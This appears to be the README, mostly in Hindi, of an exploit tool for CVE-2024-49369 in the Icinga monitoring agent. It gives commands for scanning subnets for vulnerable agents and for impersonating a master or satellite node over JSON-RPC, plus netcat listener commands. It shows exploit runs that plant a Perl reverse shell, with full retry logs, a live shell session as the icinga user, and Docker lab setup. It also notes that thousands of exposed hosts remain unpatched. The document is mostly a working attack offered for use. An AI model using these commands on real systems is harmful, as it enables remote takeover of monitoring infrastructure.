
CVE-2024-49369 के लिए Icinga में शोषण उपकरण, जो सबनेट स्कैनिंग, JSON-RPC प्रतिरूपण के माध्यम से एजेंट अधिग्रहण, मनमाना कमांड निष्पादन, और रिवर्स शेल को सक्षम करता है।
यह भेद्यता Icinga JSON-RPC प्रोटोकॉल का उपयोग करके Icinga एजेंट चलाने वाले निगरानी नोड्स का शोषण करती है। मास्टर/सैटेलाइट इंस्टेंस का प्रतिरूपण करके, हमलावर संभावित रूप से एजेंटों को अपने कब्जे में ले सकते हैं, मनमाने कमांड निष्पादित कर सकते हैं, या संवेदनशील जानकारी प्राप्त कर सकते हैं।
सबनेट में संवेदनशील एजेंटों को स्कैन करने के लिए निम्नलिखित कमांड चलाएँ:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
यह निर्दिष्ट सबनेट को 25 IPs के बैच में स्कैन करता है। उपकरण JSON-RPC प्रोटोकॉल पर Icinga::HELLO संदेश भेजता है और प्रतिक्रिया देने वाले एजेंटों की पहचान करता है, साथ ही उनके संस्करण भी बताता है।
यदि किसी एंडपॉइंट पर कॉन्फ़िगरेशन और कमांड निष्पादन सक्षम है (Icinga एजेंटों के साथ निगरानी नोड्स के लिए डिफ़ॉल्ट सेटिंग), तो हमलावर यह कर सकता है:
इससे पूर्ण सिस्टम समझौता (सेवा उपयोगकर्ता पर निर्भर) या सीमित पहुँच हो सकती है।
जब पैरेंट नोड अभी भी जुड़ा हुआ है, तो एक्सप्लॉइट कनेक्शन लॉग में इस प्रकार दिखेंगे:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
हम देख सकते हैं कि यह नोड हमले के प्रति संवेदनशील है क्योंकि क्लस्टर के लिए चेतावनी ट्रिगर हो रही है, जिसका अर्थ है कि वर्तमान सैटेलाइट अभी भी जुड़ा हुआ है, लेकिन यह एजेंट हमें एक वैध पैरेंट के रूप में देखता है।
रिवर्स शेल के लिए Netcat लिसनर प्रारंभ करें:
nc -lvnp 9001
एक्सप्लॉइट लॉन्च करें:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: लक्ष्य एजेंट का IP पता।--node-cn: प्रतिरूपित करने के लिए मास्टर/सैटेलाइट का सामान्य नाम।--zone: लक्षित ज़ोन का नाम। डिफ़ॉल्ट master है।--revip: रिवर्स शेल के लिए हमलावर का IP पता।--revport: रिवर्स शेल के लिए हमलावर का पोर्ट।यह कमांड बार-बार कनेक्शन प्रयास शुरू करता है। एक बार जब लक्ष्य एजेंट अपने वर्तमान पैरेंट से डिस्कनेक्ट हो जाता है, तो उपकरण नियंत्रण ले लेता है, चेक भेजता और प्राप्त करता है।
उपकरण द्वारा बनाए गए नए चेक के भाग के रूप में एक Perl-आधारित रिवर्स शेल का उपयोग किया जाता है।
भले ही लक्ष्य पर कॉन्फ़िगरेशन और कमांड निष्पादन अक्षम हो, हमलावर एजेंट को भेजे गए चेकों के परिणामों को देखकर संवेदनशील डेटा प्राप्त कर सकते हैं।
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
ये प्रतिक्रियाएँ संवेदनशील कॉन्फ़िगरेशन, शेड्यूलिंग डेटा, या निगरानी सेवाओं के परिणाम भी प्रकट कर सकती हैं।
Censys पर वर्तमान में 24,003 होस्ट हैं जिनके पास सार्वजनिक रूप से सुलभ Icinga पोर्ट है। स्पॉट चेक से संकेत मिलता है कि अधिकांश होस्ट अभी भी Icinga के एक संवेदनशील संस्करण चला रहे हैं।
यह शोध Icinga के ब्लॉग में चर्चित कार्य पर आधारित है।
docker build -f Dockerfile -t icinga-exploit .
docker run -it icinga-exploit exploit --host my_icinga_agent_with_satellite --revip 192.168.0.1 --revport 9001 --node-cn my_satellite --zone master
...+...+.......+......+.....+...+.......+............+..+...+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*........+......+.+...............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.+.....+...+.+.....+...+.+...........+....+.........+...+........+.+......+...+............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.........+............+.....+....+.....+.........+.+.........+...+........+....+.................+....+......+...........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+....+..+.......+......+...........+...+...+...+.+......+..+...+...+....+...+...............+.....+...+.+......+............+..+....+.....+......+...+............+....+.........+.....+.+..+....+...+.................+.+...+.....+.......+..+...+...+....+.................+......+....+...+............+......+..................+.....+.........+.+..+....+......+..............+....+.........+...............+..+....+.........+..................+..+.............+............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
.+.........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*......+...+.......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*..+.+.....+...+......+................+.....+.........+.........+....+...........+....+..+....+.....+.+......+........+.+...+..+.+..................+.....+.........+...+...................+........+.+..+...+.+...+..+....+.....+......+.+.................+..........+...+.....+.......+..+.+..+.+..+.......+........+...+.+..............+...............+.......+..+.+.....+.........+...+.........+....+.....+............+.........+....+.....+....+...+............+...+..............+...+.+.........+........+..........+.....+...+....+..+.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.......+...............+......+...+..+.............+......+..+...+.+.....+.........+..........+..+.......+...+.....+...+......+.+........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*...+.........+.+............+..+.......+...........+...+.+......+...+...........+.+.........+.........+..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*....+..........+.....+....+.....+......+...+.......+...+..+..........+..............+....+.....+.+.....................+............+...+...+.........+......+.....+....+............+.....+..................+...+...+.........+......+.......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:[('SSL routines', '', 'shutdown while in init')]
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925296.124675, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925296.124675}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:(-1, 'Unexpected EOF')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925305.051298, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925305.051298}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925313.881199, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925313.881199}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::SetLastCheckStarted', 'params': {'host': 'localhost', 'last_check_started': 1733925340.30785, 'service': 'icinga_exploit'}, 'ts': 1733925340.307906}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}
इस बिंदु पर रिवर्स शेल सक्रिय है:
nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.225.12.77.
Ncat: Connection from 10.225.12.77:40404.
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ whoami
whoami
icinga
sh-4.4$
# run the vulnerable master node
docker run --rm --hostname icinga_master --name icinga_master -p 5665:5665 -e ICINGA_MASTER=1 -e ICINGA_ACCEPT_CONFIG=1 -e ICINGA_ACCEPT_COMMANDS=1 icinga/icinga2:2.14.2
# exploit it
python3 main.py exploit --host 127.0.0.1 --node-cn icinga_master --zone master --revip <IP> --revport <PORT>
mkdir /tmp/icinga_poc_certs
cd /tmp/icinga_poc_certs/
openssl genrsa -out /tmp/icinga_poc_certs/icinga-agent.key 2048
openssl req -new -key /tmp/icinga_poc_certs/icinga-agent.key -out /tmp/icinga_poc_certs/icinga-agent.csr \
-subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-agent"
openssl genrsa -out /tmp/icinga_poc_certs/icinga-ca.key 2048
openssl req -x509 -new -nodes -key /tmp/icinga_poc_certs/icinga-ca.key -sha256 -days 3650 \
-subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-ca" \
-out /tmp/icinga_poc_certs/icinga-ca.crt
openssl x509 -req -in icinga-agent.csr -CA /tmp/icinga_poc_certs/icinga-ca.crt -CAkey /tmp/icinga_poc_certs/icinga-ca.key -CAcreateserial -out /tmp/icinga_poc_certs/icinga-agent.crt -days 3650 -sha256
mkdir -p icinga-agent/var/lib/icinga2/certs/
cp /tmp/icinga_poc_certs/icinga-agent.crt icinga-agent/var/lib/icinga2/certs/icinga-agent.crt
cp /tmp/icinga_poc_certs/icinga-ca.crt icinga-agent/var/lib/icinga2/certs/ca.crt
docker run --rm \
-p 5665:5665 \
-h icinga-agent \
-v ./icinga-agent:/data:z \
-e ICINGA_ZONE=icinga-agent \
-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
-e ICINGA_ACCEPT_CONFIG=1 \
icinga/icinga2:2.14.2 icinga2 feature enable debuglog
docker run --rm \
-p 5665:5665 \
-h icinga-agent \
-v ./icinga-agent:/data:z \
-e ICINGA_ZONE=icinga-agent \
-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
-e ICINGA_ACCEPT_CONFIG=1 \
icinga/icinga2:2.14.2